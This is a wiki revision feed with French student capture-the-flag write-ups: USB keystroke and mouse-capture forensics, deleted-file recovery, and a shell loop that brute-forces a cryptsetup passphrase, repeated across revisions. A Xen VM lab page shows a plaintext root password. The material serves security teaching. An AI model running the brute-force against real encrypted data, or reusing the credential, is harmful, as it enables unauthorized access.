 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58312</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58312"/>
				<updated>2022-01-20T12:53:44Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58311</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58311"/>
				<updated>2022-01-20T12:52:32Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Perçage de coffre */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58216</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58216"/>
				<updated>2022-01-19T10:33:24Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Travail de serrurerie */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58215</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58215"/>
				<updated>2022-01-19T10:10:26Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Travail de serrurerie */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58023</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=58023"/>
				<updated>2022-01-12T12:59:25Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
